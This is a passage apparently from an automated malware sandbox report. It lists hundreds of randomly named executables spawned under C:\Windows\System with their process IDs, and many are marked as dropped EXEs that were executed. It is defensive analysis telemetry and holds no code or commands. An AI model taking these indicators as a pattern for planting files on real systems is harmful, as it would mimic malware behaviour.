- C:\Windows\System\ybwxYmb.exe
  C:\Windows\System\ybwxYmb.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\nngjLAb.exe
  C:\Windows\System\nngjLAb.exe
  2⤵
  - Executes dropped EXE
  PID:4288
- C:\Windows\System\ttkwowF.exe
  C:\Windows\System\ttkwowF.exe
  2⤵
  - Executes dropped EXE
  PID:3592
- C:\Windows\System\OGAxGzt.exe
  C:\Windows\System\OGAxGzt.exe
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\Windows\System\pMDXgFD.exe
  C:\Windows\System\pMDXgFD.exe
  2⤵
  - Executes dropped EXE
  PID:4600
- C:\Windows\System\SLFmmoZ.exe
  C:\Windows\System\SLFmmoZ.exe
  2⤵
  - Executes dropped EXE
  PID:4392
- C:\Windows\System\gZFFrLR.exe
  C:\Windows\System\gZFFrLR.exe
  2⤵
  - Executes dropped EXE
  PID:548
- C:\Windows\System\PLZAyEM.exe
  C:\Windows\System\PLZAyEM.exe
  2⤵
  - Executes dropped EXE
  PID:1172
- C:\Windows\System\RaCBqyj.exe
  C:\Windows\System\RaCBqyj.exe
  2⤵
  - Executes dropped EXE
  PID:4956
- C:\Windows\System\QKidVgg.exe
  C:\Windows\System\QKidVgg.exe
  2⤵
  - Executes dropped EXE
  PID:3136
- C:\Windows\System\flAMjJH.exe
  C:\Windows\System\flAMjJH.exe
  2⤵
  - Executes dropped EXE
  PID:1716
- C:\Windows\System\SdnHEzS.exe
  C:\Windows\System\SdnHEzS.exe
  2⤵
  - Executes dropped EXE
  PID:3584
- C:\Windows\System\DYMMksL.exe
  C:\Windows\System\DYMMksL.exe
  2⤵
  - Executes dropped EXE
  PID:3000
- C:\Windows\System\sLGsftn.exe
  C:\Windows\System\sLGsftn.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\JOIdkPD.exe
  C:\Windows\System\JOIdkPD.exe
  2⤵
  - Executes dropped EXE
  PID:3956
- C:\Windows\System\xxZAniz.exe
  C:\Windows\System\xxZAniz.exe
  2⤵
  - Executes dropped EXE
  PID:1416
- C:\Windows\System\oPkMTiN.exe
  C:\Windows\System\oPkMTiN.exe
  2⤵
  - Executes dropped EXE
  PID:1104
- C:\Windows\System\CBbPAvD.exe
  C:\Windows\System\CBbPAvD.exe
  2⤵
  - Executes dropped EXE
  PID:2172
- C:\Windows\System\iMnmHyC.exe
  C:\Windows\System\iMnmHyC.exe
  2⤵
  - Executes dropped EXE
  PID:2372
- C:\Windows\System\HgVsnIt.exe
  C:\Windows\System\HgVsnIt.exe
  2⤵
  - Executes dropped EXE
  PID:2860
- C:\Windows\System\VtYqTEJ.exe
  C:\Windows\System\VtYqTEJ.exe
  2⤵
  - Executes dropped EXE
  PID:5116
- C:\Windows\System\fbwjejZ.exe
  C:\Windows\System\fbwjejZ.exe
  2⤵
  - Executes dropped EXE
  PID:3464
- C:\Windows\System\gPySLju.exe
  C:\Windows\System\gPySLju.exe
  2⤵
  - Executes dropped EXE
  PID:4548
- C:\Windows\System\RiIutjt.exe
  C:\Windows\System\RiIutjt.exe
  2⤵
  - Executes dropped EXE
  PID:3848
- C:\Windows\System\TcBFtvL.exe
  C:\Windows\System\TcBFtvL.exe
  2⤵
  - Executes dropped EXE
  PID:4888
- C:\Windows\System\FvpqRyY.exe
  C:\Windows\System\FvpqRyY.exe
  2⤵
  - Executes dropped EXE
  PID:3276
- C:\Windows\System\kxmUtuh.exe
  C:\Windows\System\kxmUtuh.exe
  2⤵
  - Executes dropped EXE
  PID:4500
- C:\Windows\System\CbaZzEY.exe
  C:\Windows\System\CbaZzEY.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\oxMHUjO.exe
  C:\Windows\System\oxMHUjO.exe
  2⤵
  - Executes dropped EXE
  PID:2312
- C:\Windows\System\DkbSFOw.exe
  C:\Windows\System\DkbSFOw.exe
  2⤵
  - Executes dropped EXE
  PID:3452
- C:\Windows\System\baYEeEl.exe
  C:\Windows\System\baYEeEl.exe
  2⤵
  - Executes dropped EXE
  PID:3832
- C:\Windows\System\rHSEnPL.exe
  C:\Windows\System\rHSEnPL.exe
  2⤵
  - Executes dropped EXE
  PID:4380
- C:\Windows\System\xMDcPvG.exe
  C:\Windows\System\xMDcPvG.exe
  2⤵
  - Executes dropped EXE
  PID:4352
- C:\Windows\System\BQxrtHy.exe
  C:\Windows\System\BQxrtHy.exe
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Windows\System\yKvJdBB.exe
  C:\Windows\System\yKvJdBB.exe
  2⤵
  - Executes dropped EXE
  PID:2824
- C:\Windows\System\PlfiBHR.exe
  C:\Windows\System\PlfiBHR.exe
  2⤵
  - Executes dropped EXE
  PID:4968
- C:\Windows\System\tQagsxJ.exe
  C:\Windows\System\tQagsxJ.exe
  2⤵
  - Executes dropped EXE
  PID:2080
- C:\Windows\System\PoLQcNF.exe
  C:\Windows\System\PoLQcNF.exe
  2⤵
  - Executes dropped EXE
  PID:3640
- C:\Windows\System\weaiBga.exe
  C:\Windows\System\weaiBga.exe
  2⤵
  - Executes dropped EXE
  PID:3596
- C:\Windows\System\IYiRFbA.exe
  C:\Windows\System\IYiRFbA.exe
  2⤵
  - Executes dropped EXE
  PID:4872
- C:\Windows\System\jFekJPh.exe
  C:\Windows\System\jFekJPh.exe
  2⤵
  - Executes dropped EXE
  PID:3248
- C:\Windows\System\jSiiBGB.exe
  C:\Windows\System\jSiiBGB.exe
  2⤵
  - Executes dropped EXE
  PID:1096
- C:\Windows\System\EzsTacs.exe
  C:\Windows\System\EzsTacs.exe
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Windows\System\VnyXXIP.exe
  C:\Windows\System\VnyXXIP.exe
  2⤵
  - Executes dropped EXE
  PID:2100
- C:\Windows\System\HMIHSym.exe
  C:\Windows\System\HMIHSym.exe
  2⤵
  - Executes dropped EXE
  PID:4456
- C:\Windows\System\qQxpcXw.exe
  C:\Windows\System\qQxpcXw.exe
  2⤵
  - Executes dropped EXE
  PID:952
- C:\Windows\System\tMYRzkZ.exe
  C:\Windows\System\tMYRzkZ.exe
  2⤵
  - Executes dropped EXE
  PID:4140
- C:\Windows\System\haHXUMx.exe
  C:\Windows\System\haHXUMx.exe
  2⤵
  - Executes dropped EXE
  PID:3884
- C:\Windows\System\ChMRmkF.exe
  C:\Windows\System\ChMRmkF.exe
  2⤵
  - Executes dropped EXE
  PID:2476
- C:\Windows\System\zolaIJH.exe
  C:\Windows\System\zolaIJH.exe
  2⤵
  - Executes dropped EXE
  PID:4524
- C:\Windows\System\sSCCQEh.exe
  C:\Windows\System\sSCCQEh.exe
  2⤵
  - Executes dropped EXE
  PID:4012
- C:\Windows\System\cqDmMfT.exe
  C:\Windows\System\cqDmMfT.exe
  2⤵
  PID:4128
- C:\Windows\System\PEhyyMQ.exe
  C:\Windows\System\PEhyyMQ.exe
  2⤵
  PID:4608
- C:\Windows\System\NDrbBEZ.exe
  C:\Windows\System\NDrbBEZ.exe
  2⤵
  PID:1860
- C:\Windows\System\nPlzdGw.exe
  C:\Windows\System\nPlzdGw.exe
  2⤵
  PID:664
- C:\Windows\System\IACzOOS.exe
  C:\Windows\System\IACzOOS.exe
  2⤵
  PID:4224
- C:\Windows\System\VigpBbH.exe
  C:\Windows\System\VigpBbH.exe
  2⤵
  PID:5100
- C:\Windows\System\bfOsKDV.exe
  C:\Windows\System\bfOsKDV.exe
  2⤵
  PID:5080
- C:\Windows\System\xpaEAed.exe
  C:\Windows\System\xpaEAed.exe
  2⤵
  PID:3184
- C:\Windows\System\AkaqKZG.exe
  C:\Windows\System\AkaqKZG.exe
  2⤵
  PID:4008
- C:\Windows\System\IpkWAUM.exe
  C:\Windows\System\IpkWAUM.exe
  2⤵
  PID:3992
- C:\Windows\System\TXoxfWq.exe
  C:\Windows\System\TXoxfWq.exe
  2⤵
  PID:2028
- C:\Windows\System\EmycPLx.exe
  C:\Windows\System\EmycPLx.exe
  2⤵
  PID:4604
- C:\Windows\System\dHDfPVG.exe
  C:\Windows\System\dHDfPVG.exe
  2⤵
  PID:624
- C:\Windows\System\kfOcgHg.exe
  C:\Windows\System\kfOcgHg.exe
  2⤵
  PID:3140
- C:\Windows\System\dkMgoPC.exe
  C:\Windows\System\dkMgoPC.exe
  2⤵
  PID:4532
- C:\Windows\System\bnNXzqg.exe
  C:\Windows\System\bnNXzqg.exe
  2⤵
  PID:2908
- C:\Windows\System\dfEJEva.exe
  C:\Windows\System\dfEJEva.exe
  2⤵
  PID:5044
- C:\Windows\System\irlwrZG.exe
  C:\Windows\System\irlwrZG.exe
  2⤵
  PID:448
- C:\Windows\System\QNyhIAV.exe
  C:\Windows\System\QNyhIAV.exe
  2⤵
  PID:1440
- C:\Windows\System\gGVWbUz.exe
  C:\Windows\System\gGVWbUz.exe
  2⤵
  PID:4296
- C:\Windows\System\NAmIGpy.exe
  C:\Windows\System\NAmIGpy.exe
  2⤵
  PID:3932
- C:\Windows\System\mEAKgID.exe
  C:\Windows\System\mEAKgID.exe
  2⤵
  PID:3240
- C:\Windows\System\DNDVoGR.exe
  C:\Windows\System\DNDVoGR.exe
  2⤵
  PID:428
- C:\Windows\System\QoZmdNh.exe
  C:\Windows\System\QoZmdNh.exe
  2⤵
  PID:1588
- C:\Windows\System\wFryriV.exe
  C:\Windows\System\wFryriV.exe
  2⤵
  PID:3404
- C:\Windows\System\oSBuIcA.exe
  C:\Windows\System\oSBuIcA.exe
  2⤵
  PID:4952
- C:\Windows\System\nArIIAy.exe
  C:\Windows\System\nArIIAy.exe
  2⤵
  PID:4588
- C:\Windows\System\etxctch.exe
  C:\Windows\System\etxctch.exe
  2⤵
  PID:2512
- C:\Windows\System\NunZciB.exe
  C:\Windows\System\NunZciB.exe
  2⤵
  PID:676
- C:\Windows\System\HfMqrjj.exe
  C:\Windows\System\HfMqrjj.exe
  2⤵
  PID:1448
- C:\Windows\System\AkLedRl.exe
  C:\Windows\System\AkLedRl.exe
  2⤵
  PID:3092
- C:\Windows\System\OwKOOit.exe
  C:\Windows\System\OwKOOit.exe
  2⤵
  PID:2304
- C:\Windows\System\xeAdvAP.exe
  C:\Windows\System\xeAdvAP.exe
  2⤵
  PID:2496
- C:\Windows\System\LJcwqmY.exe
  C:\Windows\System\LJcwqmY.exe
  2⤵
  PID:4484
- C:\Windows\System\EtVZFzz.exe
  C:\Windows\System\EtVZFzz.exe
  2⤵
  PID:5132
- C:\Windows\System\pvLtmPI.exe
  C:\Windows\System\pvLtmPI.exe
  2⤵
  PID:5152
- C:\Windows\System\XTFBAcu.exe
  C:\Windows\System\XTFBAcu.exe
  2⤵
  PID:5176
- C:\Windows\System\WiiyjmF.exe
  C:\Windows\System\WiiyjmF.exe
  2⤵
  PID:5216
- C:\Windows\System\wcCTzqa.exe
  C:\Windows\System\wcCTzqa.exe
  2⤵
  PID:5236
- C:\Windows\System\mJJyCvL.exe
  C:\Windows\System\mJJyCvL.exe
  2⤵
  PID:5260
- C:\Windows\System\ckyFzNa.exe
  C:\Windows\System\ckyFzNa.exe
  2⤵
  PID:5288
- C:\Windows\System\vJgvxBT.exe
  C:\Windows\System\vJgvxBT.exe
  2⤵
  PID:5308
- C:\Windows\System\VvSjbzo.exe
  C:\Windows\System\VvSjbzo.exe
  2⤵
  PID:5328
- C:\Windows\System\zTAEFbm.exe
  C:\Windows\System\zTAEFbm.exe
  2⤵
  PID:5348
- C:\Windows\System\NJtSztl.exe
  C:\Windows\System\NJtSztl.exe
  2⤵
  PID:5364
- C:\Windows\System\bluvxNi.exe
  C:\Windows\System\bluvxNi.exe
  2⤵
  PID:5392
- C:\Windows\System\ufsNjWS.exe
  C:\Windows\System\ufsNjWS.exe
  2⤵
  PID:5424
- C:\Windows\System\rOuIPSr.exe
  C:\Windows\System\rOuIPSr.exe
  2⤵
  PID:5444
- C:\Windows\System\dFjIbCD.exe
  C:\Windows\System\dFjIbCD.exe
  2⤵
  PID:5520
- C:\Windows\System\WOposyq.exe
  C:\Windows\System\WOposyq.exe
  2⤵
  PID:5536
- C:\Windows\System\QSFKTrj.exe
  C:\Windows\System\QSFKTrj.exe
  2⤵
  PID:5560
- C:\Windows\System\vWCtFxh.exe
  C:\Windows\System\vWCtFxh.exe
  2⤵
  PID:5596
- C:\Windows\System\ADhKdju.exe
  C:\Windows\System\ADhKdju.exe
  2⤵
  PID:5636
- C:\Windows\System\nufKqpG.exe
  C:\Windows\System\nufKqpG.exe
  2⤵
  PID:5656
- C:\Windows\System\IHhdnCo.exe
  C:\Windows\System\IHhdnCo.exe
  2⤵
  PID:5680
- C:\Windows\System\hPFHJAQ.exe
  C:\Windows\System\hPFHJAQ.exe
  2⤵
  PID:5696
- C:\Windows\System\cwThQtN.exe
  C:\Windows\System\cwThQtN.exe
  2⤵
  PID:5720
- C:\Windows\System\yAYquoq.exe
  C:\Windows\System\yAYquoq.exe
  2⤵
  PID:5748
- C:\Windows\System\PrFdEZz.exe
  C:\Windows\System\PrFdEZz.exe
  2⤵
  PID:5792
- C:\Windows\System\ztjQfyV.exe
  C:\Windows\System\ztjQfyV.exe
  2⤵
  PID:5816
- C:\Windows\System\aeayqpV.exe
  C:\Windows\System\aeayqpV.exe
  2⤵
  PID:5836
- C:\Windows\System\reKrRjN.exe
  C:\Windows\System\reKrRjN.exe
  2⤵
  PID:5860
- C:\Windows\System\xRYOQve.exe
  C:\Windows\System\xRYOQve.exe
  2⤵
  PID:5888
- C:\Windows\System\qwsnHnE.exe
  C:\Windows\System\qwsnHnE.exe
  2⤵
  PID:5904
- C:\Windows\System\xfCMPDe.exe
  C:\Windows\System\xfCMPDe.exe
  2⤵
  PID:5948
- C:\Windows\System\JDNCyOk.exe
  C:\Windows\System\JDNCyOk.exe
  2⤵
  PID:5972
- C:\Windows\System\FUUbeMA.exe
  C:\Windows\System\FUUbeMA.exe
  2⤵
  PID:6024
- C:\Windows\System\eFFXIvy.exe
  C:\Windows\System\eFFXIvy.exe
  2⤵
  PID:6072
- C:\Windows\System\jvqHNmu.exe
  C:\Windows\System\jvqHNmu.exe
  2⤵
  PID:6088
- C:\Windows\System\DUvHzeF.exe
  C:\Windows\System\DUvHzeF.exe
  2⤵
  PID:6116
- C:\Windows\System\HZUkyKu.exe
  C:\Windows\System\HZUkyKu.exe
  2⤵
  PID:6140
- C:\Windows\System\nBpcjbs.exe
  C:\Windows\System\nBpcjbs.exe
  2⤵
  PID:2040
- C:\Windows\System\zrjWkAq.exe
  C:\Windows\System\zrjWkAq.exe
  2⤵
  PID:5192
- C:\Windows\System\trKOMVI.exe
  C:\Windows\System\trKOMVI.exe
  2⤵
  PID:5304
- C:\Windows\System\zceCLuW.exe
  C:\Windows\System\zceCLuW.exe
  2⤵
  PID:5336
- C:\Windows\System\pEMrRPA.exe
  C:\Windows\System\pEMrRPA.exe
  2⤵
  PID:5360
- C:\Windows\System\TgSSsQC.exe
  C:\Windows\System\TgSSsQC.exe
  2⤵
  PID:5460
- C:\Windows\System\clfnlLz.exe
  C:\Windows\System\clfnlLz.exe
  2⤵
  PID:5436
- C:\Windows\System\NamEFlv.exe
  C:\Windows\System\NamEFlv.exe
  2⤵
  PID:5556
- C:\Windows\System\mBfvIVB.exe
  C:\Windows\System\mBfvIVB.exe
  2⤵
  PID:5672
- C:\Windows\System\yOINnuJ.exe
  C:\Windows\System\yOINnuJ.exe
  2⤵
  PID:5744
- C:\Windows\System\XGdyQHk.exe
  C:\Windows\System\XGdyQHk.exe
  2⤵
  PID:5800
- C:\Windows\System\BLUKFCA.exe
  C:\Windows\System\BLUKFCA.exe
  2⤵
  PID:5808
- C:\Windows\System\Lhlyzqj.exe
  C:\Windows\System\Lhlyzqj.exe
  2⤵
  PID:5896
- C:\Windows\System\PdklNAb.exe
  C:\Windows\System\PdklNAb.exe
  2⤵
  PID:5876
- C:\Windows\System\eHFNVuU.exe
  C:\Windows\System\eHFNVuU.exe
  2⤵
  PID:5968
- C:\Windows\System\NjvcEdi.exe
  C:\Windows\System\NjvcEdi.exe
  2⤵
  PID:6012
- C:\Windows\System\BfExlBn.exe
  C:\Windows\System\BfExlBn.exe
  2⤵
  PID:6136
- C:\Windows\System\ErGgRtO.exe
  C:\Windows\System\ErGgRtO.exe
  2⤵
  PID:5200
- C:\Windows\System\NoYNLVX.exe
  C:\Windows\System\NoYNLVX.exe
  2⤵
  PID:2116
- C:\Windows\System\ytNYTRp.exe
  C:\Windows\System\ytNYTRp.exe
  2⤵
  PID:5412
- C:\Windows\System\BPpWPgp.exe
  C:\Windows\System\BPpWPgp.exe
  2⤵
  PID:5432
- C:\Windows\System\aPhniFb.exe
  C:\Windows\System\aPhniFb.exe
  2⤵
  PID:5592
- C:\Windows\System\JtCbjjG.exe
  C:\Windows\System\JtCbjjG.exe
  2⤵
  PID:5716
- C:\Windows\System\tMOPtiZ.exe
  C:\Windows\System\tMOPtiZ.exe
  2⤵
  PID:5344
- C:\Windows\System\vMyXDIj.exe
  C:\Windows\System\vMyXDIj.exe
  2⤵
  PID:6104
- C:\Windows\System\RRfkusL.exe
  C:\Windows\System\RRfkusL.exe
  2⤵
  PID:5768
- C:\Windows\System\hYVOjRC.exe
  C:\Windows\System\hYVOjRC.exe
  2⤵
  PID:5960
- C:\Windows\System\AiyrHkT.exe
  C:\Windows\System\AiyrHkT.exe
  2⤵
  PID:6176
- C:\Windows\System\rgLmhwb.exe
  C:\Windows\System\rgLmhwb.exe
  2⤵
  PID:6200
- C:\Windows\System\JjDdJny.exe
  C:\Windows\System\JjDdJny.exe
  2⤵
  PID:6224
- C:\Windows\System\YmVdtRT.exe
  C:\Windows\System\YmVdtRT.exe
  2⤵
  PID:6244
- C:\Windows\System\pXSuhbW.exe
  C:\Windows\System\pXSuhbW.exe
  2⤵
  PID:6264
- C:\Windows\System\gldluBo.exe
  C:\Windows\System\gldluBo.exe
  2⤵
  PID:6320
- C:\Windows\System\nsVUgWp.exe
  C:\Windows\System\nsVUgWp.exe
  2⤵
  PID:6348
- C:\Windows\System\KsUvQcz.exe
  C:\Windows\System\KsUvQcz.exe
  2⤵
  PID:6368
- C:\Windows\System\ainpHmX.exe
  C:\Windows\System\ainpHmX.exe
  2⤵
  PID:6392
- C:\Windows\System\qysOVxH.exe
  C:\Windows\System\qysOVxH.exe
  2⤵
  PID:6444
- C:\Windows\System\yaSYuhv.exe
  C:\Windows\System\yaSYuhv.exe
  2⤵
  PID:6468
- C:\Windows\System\QwVEbAf.exe
  C:\Windows\System\QwVEbAf.exe
  2⤵
  PID:6496
- C:\Windows\System\eoCqohf.exe
  C:\Windows\System\eoCqohf.exe
  2⤵
  PID:6516
- C:\Windows\System\oCfsaMB.exe
  C:\Windows\System\oCfsaMB.exe
  2⤵
  PID:6536
- C:\Windows\System\tjPsqVG.exe
  C:\Windows\System\tjPsqVG.exe
  2⤵
  PID:6564
- C:\Windows\System\nJBUOkx.exe
  C:\Windows\System\nJBUOkx.exe
  2⤵
  PID:6604
- C:\Windows\System\mwjsFFv.exe
  C:\Windows\System\mwjsFFv.exe
  2⤵
  PID:6636
- C:\Windows\System\gQJqJuV.exe
  C:\Windows\System\gQJqJuV.exe
  2⤵
  PID:6656
- C:\Windows\System\MCuCLUb.exe
  C:\Windows\System\MCuCLUb.exe
  2⤵
  PID:6676
- C:\Windows\System\RIkXzXk.exe
  C:\Windows\System\RIkXzXk.exe
  2⤵
  PID:6716
- C:\Windows\System\KJmndCY.exe
  C:\Windows\System\KJmndCY.exe
  2⤵
  PID:6748
- C:\Windows\System\ylcsuZi.exe
  C:\Windows\System\ylcsuZi.exe
  2⤵
  PID:6768
- C:\Windows\System\mnbfgNp.exe
  C:\Windows\System\mnbfgNp.exe
  2⤵
  PID:6808
- C:\Windows\System\hIFRYwB.exe
  C:\Windows\System\hIFRYwB.exe
  2⤵
  PID:6836
- C:\Windows\System\YahSDYI.exe
  C:\Windows\System\YahSDYI.exe
  2⤵
  PID:6852
- C:\Windows\System\LrANjQX.exe
  C:\Windows\System\LrANjQX.exe
  2⤵
  PID:6868
- C:\Windows\System\qfdyZxI.exe
  C:\Windows\System\qfdyZxI.exe
  2⤵
  PID:6884
- C:\Windows\System\lkaLDxD.exe
  C:\Windows\System\lkaLDxD.exe
  2⤵
  PID:6904
- C:\Windows\System\BJbRoIu.exe
  C:\Windows\System\BJbRoIu.exe
  2⤵
  PID:6944
- C:\Windows\System\xdCgbbS.exe
  C:\Windows\System\xdCgbbS.exe
  2⤵
  PID:6964
- C:\Windows\System\cNcsnzq.exe
  C:\Windows\System\cNcsnzq.exe
  2⤵
  PID:6996
- C:\Windows\System\rPfLMSU.exe
  C:\Windows\System\rPfLMSU.exe
  2⤵
  PID:7044
- C:\Windows\System\eRiMVuX.exe
  C:\Windows\System\eRiMVuX.exe
  2⤵
  PID:7060
- C:\Windows\System\wlpWPXd.exe
  C:\Windows\System\wlpWPXd.exe
  2⤵
  PID:7084
- C:\Windows\System\zlynVwu.exe
  C:\Windows\System\zlynVwu.exe
  2⤵
  PID:7104
- C:\Windows\System\MCGDJhI.exe
  C:\Windows\System\MCGDJhI.exe
  2⤵
  PID:7128
- C:\Windows\System\WNeDqYA.exe
  C:\Windows\System\WNeDqYA.exe
  2⤵
  PID:7152
- C:\Windows\System\NdxhEKf.exe
  C:\Windows\System\NdxhEKf.exe
  2⤵
  PID:5604
- C:\Windows\System\QPXMfOc.exe
  C:\Windows\System\QPXMfOc.exe
  2⤵
  PID:6192
- C:\Windows\System\TZReiTo.exe
  C:\Windows\System\TZReiTo.exe
  2⤵
  PID:6260
- C:\Windows\System\CJVEqsk.exe
  C:\Windows\System\CJVEqsk.exe
  2⤵
  PID:5500
- C:\Windows\System\YsKxLXM.exe
  C:\Windows\System\YsKxLXM.exe
  2⤵
  PID:6436
- C:\Windows\System\gePjUMQ.exe
  C:\Windows\System\gePjUMQ.exe
  2⤵
  PID:6456
- C:\Windows\System\JFoURfP.exe
  C:\Windows\System\JFoURfP.exe
  2⤵
  PID:6488
- C:\Windows\System\jRbPTUA.exe
  C:\Windows\System\jRbPTUA.exe
  2⤵
  PID:6576
- C:\Windows\System\wairXyu.exe
  C:\Windows\System\wairXyu.exe
  2⤵
  PID:6592
- C:\Windows\System\FjPblVQ.exe
  C:\Windows\System\FjPblVQ.exe
  2⤵
  PID:6700
- C:\Windows\System\YAKVjal.exe
  C:\Windows\System\YAKVjal.exe
  2⤵
  PID:6740
- C:\Windows\System\jxLaHdS.exe
  C:\Windows\System\jxLaHdS.exe
  2⤵
  PID:6764
- C:\Windows\System\XBbwbDX.exe
  C:\Windows\System\XBbwbDX.exe
  2⤵
  PID:6828
- C:\Windows\System\dibKCEc.exe
  C:\Windows\System\dibKCEc.exe
  2⤵
  PID:6924
- C:\Windows\System\TJEvaEr.exe
  C:\Windows\System\TJEvaEr.exe
  2⤵
  PID:7008
- C:\Windows\System\NOONdfE.exe
  C:\Windows\System\NOONdfE.exe
  2⤵
  PID:6988
- C:\Windows\System\xyfUcsz.exe
  C:\Windows\System\xyfUcsz.exe
  2⤵
  PID:7076
- C:\Windows\System\evUdkzc.exe
  C:\Windows\System\evUdkzc.exe
  2⤵
  PID:7148
- C:\Windows\System\mRfNwoS.exe
  C:\Windows\System\mRfNwoS.exe
  2⤵
  PID:940
- C:\Windows\System\qpkBgPO.exe
  C:\Windows\System\qpkBgPO.exe
  2⤵
  PID:5996
- C:\Windows\System\mZoeJrR.exe
  C:\Windows\System\mZoeJrR.exe
  2⤵
  PID:6408
- C:\Windows\System\bXVVPtf.exe
  C:\Windows\System\bXVVPtf.exe
  2⤵
  PID:6440
- C:\Windows\System\MwMjgHO.exe
  C:\Windows\System\MwMjgHO.exe
  2⤵
  PID:6696
- C:\Windows\System\QqcTBMi.exe
  C:\Windows\System\QqcTBMi.exe
  2⤵
  PID:6900
- C:\Windows\System\AkkNKTd.exe
  C:\Windows\System\AkkNKTd.exe
  2⤵
  PID:7052
- C:\Windows\System\uqoSKEY.exe
  C:\Windows\System\uqoSKEY.exe
  2⤵
  PID:6304
- C:\Windows\System\LPTRtaD.exe
  C:\Windows\System\LPTRtaD.exe
  2⤵
  PID:6428
- C:\Windows\System\detyzfL.exe
  C:\Windows\System\detyzfL.exe
  2⤵
  PID:6864
- C:\Windows\System\cveyAMq.exe
  C:\Windows\System\cveyAMq.exe
  2⤵
  PID:7192
- C:\Windows\System\HIzBUne.exe
  C:\Windows\System\HIzBUne.exe
  2⤵
  PID:7216
- C:\Windows\System\gQkqofr.exe
  C:\Windows\System\gQkqofr.exe
  2⤵
  PID:7268
- C:\Windows\System\lYwEHyL.exe
  C:\Windows\System\lYwEHyL.exe
  2⤵
  PID:7292
- C:\Windows\System\mwJkQxc.exe
  C:\Windows\System\mwJkQxc.exe
  2⤵
  PID:7336
- C:\Windows\System\JZiZByC.exe
  C:\Windows\System\JZiZByC.exe
  2⤵
  PID:7360
- C:\Windows\System\msysqCf.exe
  C:\Windows\System\msysqCf.exe
  2⤵
  PID:7392
- C:\Windows\System\zkIPVft.exe
  C:\Windows\System\zkIPVft.exe
  2⤵
  PID:7420
- C:\Windows\System\SSuvpqm.exe
  C:\Windows\System\SSuvpqm.exe
  2⤵
  PID:7444
- C:\Windows\System\IvzXeiv.exe
  C:\Windows\System\IvzXeiv.exe
  2⤵
  PID:7488
- C:\Windows\System\nxLJmhm.exe
  C:\Windows\System\nxLJmhm.exe
  2⤵
  PID:7504
- C:\Windows\System\vePKFLx.exe
  C:\Windows\System\vePKFLx.exe
  2⤵
  PID:7524
- C:\Windows\System\QFFwcjR.exe
  C:\Windows\System\QFFwcjR.exe
  2⤵
  PID:7560
- C:\Windows\System\jixMEgi.exe
  C:\Windows\System\jixMEgi.exe
  2⤵
  PID:7580
- C:\Windows\System\MrfJDkE.exe
  C:\Windows\System\MrfJDkE.exe
  2⤵
  PID:7600
- C:\Windows\System\oavrgRn.exe
  C:\Windows\System\oavrgRn.exe
  2⤵
  PID:7620
- C:\Windows\System\sDTZBrm.exe
  C:\Windows\System\sDTZBrm.exe
  2⤵
  PID:7640
- C:\Windows\System\YMkEXjD.exe
  C:\Windows\System\YMkEXjD.exe
  2⤵
  PID:7684
- C:\Windows\System\qQrmhcT.exe
  C:\Windows\System\qQrmhcT.exe
  2⤵
  PID:7708
- C:\Windows\System\bpLMrmF.exe
  C:\Windows\System\bpLMrmF.exe
  2⤵
  PID:7736
- C:\Windows\System\rwkBOVg.exe
  C:\Windows\System\rwkBOVg.exe
  2⤵
  PID:7764
- C:\Windows\System\lPnLlNV.exe
  C:\Windows\System\lPnLlNV.exe
  2⤵
  PID:7780
- C:\Windows\System\ljjlMKL.exe
  C:\Windows\System\ljjlMKL.exe
  2⤵
  PID:7832
- C:\Windows\System\qkfXDKt.exe
  C:\Windows\System\qkfXDKt.exe
  2⤵
  PID:7848
- C:\Windows\System\NStBHOa.exe
  C:\Windows\System\NStBHOa.exe
  2⤵
  PID:7896
- C:\Windows\System\XPOPTFG.exe
  C:\Windows\System\XPOPTFG.exe
  2⤵
  PID:7916
- C:\Windows\System\CIxCimV.exe
  C:\Windows\System\CIxCimV.exe
  2⤵
  PID:7936
- C:\Windows\System\WRFKFNs.exe
  C:\Windows\System\WRFKFNs.exe
  2⤵
  PID:7988
- C:\Windows\System\gLuOJhX.exe
  C:\Windows\System\gLuOJhX.exe
  2⤵
  PID:8004
- C:\Windows\System\ZdNLKTo.exe
  C:\Windows\System\ZdNLKTo.exe
  2⤵
  PID:8028
- C:\Windows\System\VtCYAIK.exe
  C:\Windows\System\VtCYAIK.exe
  2⤵
  PID:8048
- C:\Windows\System\CCBtqCk.exe
  C:\Windows\System\CCBtqCk.exe
  2⤵
  PID:8068
- C:\Windows\System\YWQXbSy.exe
  C:\Windows\System\YWQXbSy.exe
  2⤵
  PID:8100
- C:\Windows\System\fjwAXPR.exe
  C:\Windows\System\fjwAXPR.exe
  2⤵
  PID:8136
- C:\Windows\System\DzRasPN.exe
  C:\Windows\System\DzRasPN.exe
  2⤵
  PID:8156
- C:\Windows\System\WPClGWj.exe
  C:\Windows\System\WPClGWj.exe
  2⤵
  PID:8176
- C:\Windows\System\XwiGbzZ.exe
  C:\Windows\System\XwiGbzZ.exe
  2⤵
  PID:6920
- C:\Windows\System\vNaUWcn.exe
  C:\Windows\System\vNaUWcn.exe
  2⤵
  PID:6356
- C:\Windows\System\ciKzjrH.exe
  C:\Windows\System\ciKzjrH.exe
  2⤵
  PID:6284
- C:\Windows\System\JFNWLsK.exe
  C:\Windows\System\JFNWLsK.exe
  2⤵
  PID:7240
- C:\Windows\System\SBmNNTR.exe
  C:\Windows\System\SBmNNTR.exe
  2⤵
  PID:7308
- C:\Windows\System\iTpExay.exe
  C:\Windows\System\iTpExay.exe
  2⤵
  PID:7352
- C:\Windows\System\dzbTCLk.exe
  C:\Windows\System\dzbTCLk.exe
  2⤵
  PID:7440
- C:\Windows\System\ULwccCT.exe
  C:\Windows\System\ULwccCT.exe
  2⤵
  PID:7496
- C:\Windows\System\DLyssYi.exe
  C:\Windows\System\DLyssYi.exe
  2⤵
  PID:7536
- C:\Windows\System\rJFLUPF.exe
  C:\Windows\System\rJFLUPF.exe
  2⤵
  PID:7596
- C:\Windows\System\RawotrC.exe
  C:\Windows\System\RawotrC.exe
  2⤵
  PID:7748
- C:\Windows\System\cTzsbKD.exe
  C:\Windows\System\cTzsbKD.exe
  2⤵
  PID:7828
- C:\Windows\System\qHUtzTN.exe
  C:\Windows\System\qHUtzTN.exe
  2⤵
  PID:7880
- C:\Windows\System\PKHUVZT.exe
  C:\Windows\System\PKHUVZT.exe
  2⤵
  PID:7872
- C:\Windows\System\rYnMnBr.exe
  C:\Windows\System\rYnMnBr.exe
